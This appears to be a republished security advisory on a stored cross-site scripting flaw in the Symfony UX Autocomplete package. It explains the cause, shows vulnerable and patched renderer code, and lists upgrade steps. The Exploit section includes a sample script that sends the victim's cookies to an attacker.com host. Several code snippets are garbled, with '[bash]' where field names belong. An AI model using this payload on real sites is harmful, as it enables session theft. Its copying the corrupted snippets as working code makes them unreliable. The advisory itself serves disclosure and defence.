Listen to this Post
The Symfony UX Autocomplete package provides a JavaScript-driven autocomplete widget for Symfony applications, leveraging the Stimulus controller framework and the TomSelect library. A stored Cross-Site Scripting (XSS) vulnerability was discovered in versions prior to 2.36.0 and 3.1.0.
The root cause lies in the `_createAutocompleteWithRemoteData()` function, which renders AJAX response items into the dropdown using JavaScript template literals in the form <div>${item
}</div></code>. The `labelField` value is interpolated directly as raw HTML rather than being treated as plain text, meaning any markup contained in the AJAX response is parsed and executed by the browser.
When dropdown values originate from user-supplied content—such as entity names, product s, or any other database field that can be manipulated by an attacker—a malicious payload can be stored in the application's data layer. Any subsequent user who opens a page containing an autocomplete widget that fetches this tainted data will have the attacker's script executed in their browser context.
The attack vector is particularly dangerous because it is stored XSS: the payload persists in the application's data store and affects every user who views the compromised autocomplete field. An attacker could, for example, create an entity with a name containing <code><script>alert(document.cookie)</script></code>. When an administrator later uses an autocomplete field that displays entity names, the script executes with the administrator's privileges.
The fix introduces TomSelect's `escape()` helper as the default renderer, HTML-escaping all values before interpolation. Endpoints that legitimately return HTML—for instance, to highlight search terms—can opt back into the unsafe behavior by setting <code>options_as_html: true</code>. The `AutocompleteChoiceTypeExtension` normalizer that previously forced `options_as_html=false` when `autocomplete_url` was set has been removed, making the opt-in accessible from the form layer.
The vulnerability was responsibly disclosed by Alex Ashkov, with the patch provided by Hugo Alliaume.
<h2 style="color: blue;">DailyCVE Form</h2>
<h2 style="color: blue;">| Field | Value |</h2>
<h2 style="color: blue;">|-|-|</h2>
<h2 style="color: blue;">| Platform | Symfony UX Autocomplete |</h2>
<h2 style="color: blue;">| Version | < 2.36.0, 3.0.0 |</h2>
<h2 style="color: blue;">| Vulnerability | Stored Cross-Site Scripting |</h2>
<h2 style="color: blue;">| Severity | Moderate (CVSS 4.8) |</h2>
<h2 style="color: blue;">| Date | May 29, 2026 |</h2>
<h2 style="color: blue;">| Prediction | Patch already released |</h2>
<h2 style="color: blue;">What Undercode Say: Analytics</h2>
The vulnerability stems from improper output encoding in client-side rendering logic. The following code snippet shows the vulnerable pattern:
[bash]
// VULNERABLE CODE (prior to 2.36.0 / 3.1.0)
_createAutocompleteWithRemoteData() {
// ...
// The labelField value is interpolated directly as HTML
render: {
option: function(item) {
return <code><div>${item[bash]}</div></code>; // UNSAFE
},
item: function(item) {
return <code><div>${item[bash]}</div></code>; // UNSAFE
}
}
}
The fix applies TomSelect's built-in escaping:
// PATCHED CODE (2.36.0+ / 3.1.0+)
_createAutocompleteWithRemoteData() {
// ...
render: {
option: function(item) {
return <code><div>${TomSelect.escape(item[bash])}</div></code>; // SAFE
},
item: function(item) {
return <code><div>${TomSelect.escape(item[bash])}</div></code>; // SAFE
}
}
}
To verify if your application is vulnerable, check the package version:
composer show symfony/ux-autocomplete
To upgrade to the patched version:
composer require symfony/ux-autocomplete:^2.36.0 or for 3.x branch composer require symfony/ux-autocomplete:^3.1.0
The commit containing the fix is available at: https://github.com/symfony/ux/commit/842ae54bc74de389299f975f01aafae272cb0019
Exploit
An attacker can exploit this vulnerability by injecting malicious HTML/JavaScript into any data field that is rendered by an autocomplete widget. Common vectors include:
1. Entity names – Creating a database entity with a name containing ``
2. Product s – In e-commerce platforms where product names appear in autocomplete fields
3. Taxon/category names – In administration panels using autocomplete for taxonomy selection
4. Any user-supplied field – That is subsequently displayed in an autocomplete dropdown
Example attack payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
When an administrator or any other user interacts with an autocomplete field that fetches and displays this tainted data, the script executes in their browser with their session privileges.
The attack is stored XSS, meaning the payload persists in the application's data store and affects all users who view the compromised autocomplete widget. This makes it significantly more dangerous than reflected XSS, as no user interaction beyond simply viewing the page is required.
Protection
Immediate Actions
- Upgrade immediately to `symfony/ux-autocomplete` version 2.36.0 or 3.1.0 or higher
composer require symfony/ux-autocomplete:^2.36.0
- If upgrade is not immediately possible, apply the patch manually by overriding the renderers in your TomSelect configuration:
new TomSelect('my-autocomplete', { render: { option: function(item) { return <code><div>${this.escape(item.label)}</div></code>; }, item: function(item) { return <code><div>${this.escape(item.label)}</div></code>; } } }); - Validate and sanitize all user-supplied data at the input layer, even though the primary fix is at the output layer.
Long-term Recommendations
- Adopt Content Security Policy (CSP) headers to restrict script execution sources
- Implement output encoding consistently across all client-side rendering paths
- Regularly audit third-party dependencies for known vulnerabilities
- Enable HttpOnly and Secure flags on session cookies to limit impact of successful XSS attacks
Impact
| Aspect | Details |
|--||
| Attack Vector | Network (remote exploitation) |
| Attack Complexity | Low – requires only the ability to inject data into a field rendered by the autocomplete widget |
| Privileges Required | None – any authenticated or unauthenticated user who can supply data may be able to inject a payload |
| User Interaction | None – the victim only needs to view a page containing the compromised autocomplete widget |
| Confidentiality | High – session cookies, sensitive data, and internal application state can be exfiltrated |
| Integrity | None – the vulnerability does not directly allow data modification |
| Availability | None – the vulnerability does not directly cause denial of service |
The primary impact is session hijacking through cookie theft, but attackers can also:
- Perform actions on behalf of the victim user (CSRF-like behavior via XSS)
- Deface the application interface
- Redirect users to malicious websites
- Exfiltrate sensitive information displayed on the page
Given the stored nature of the vulnerability, a single injected payload can compromise every user who accesses the affected autocomplete field, making this a high-impact moderate-severity issue.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

